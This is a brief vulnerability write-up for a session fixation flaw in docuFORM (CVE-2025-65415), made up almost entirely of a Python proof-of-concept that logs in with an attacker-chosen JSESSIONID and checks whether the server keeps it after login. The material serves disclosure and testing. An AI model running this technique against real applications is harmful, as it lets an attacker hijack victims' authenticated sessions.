CVE-2025-65415 docuFORM会话固定漏洞

# Proof of Concept for Session Fixation # Attacker sets a session ID and tricks the user into logging in with it. import requests target_login = "https://target-app/login" fixed_session_id = "attacker_controlled_session_123" # Step 1: Attacker sends link to victim with the fixed session ID # Link: https://target-app/login;jsessionid=attacker_controlled_session_123 # Step 2: Victim logs in using the attacker's session ID login_data = { "username": "victim_user", "password": "victim_password" } # The cookie containing the fixed ID is sent with the login request cookies = { "JSESSIONID": fixed_session_id } response = requests.post(target_login, data=login_data, cookies=cookies) # Step 3: Verify if the session is fixed (server accepts the ID) if response.status_code == 200 and fixed_session_id in response.cookies.get("JSESSIONID", ""): print(f"Vulnerable: Session ID remains {fixed_session_id} after login.") print("Attacker can now authenticate using this ID.") else: print("Mitigated: Session ID changed after login.")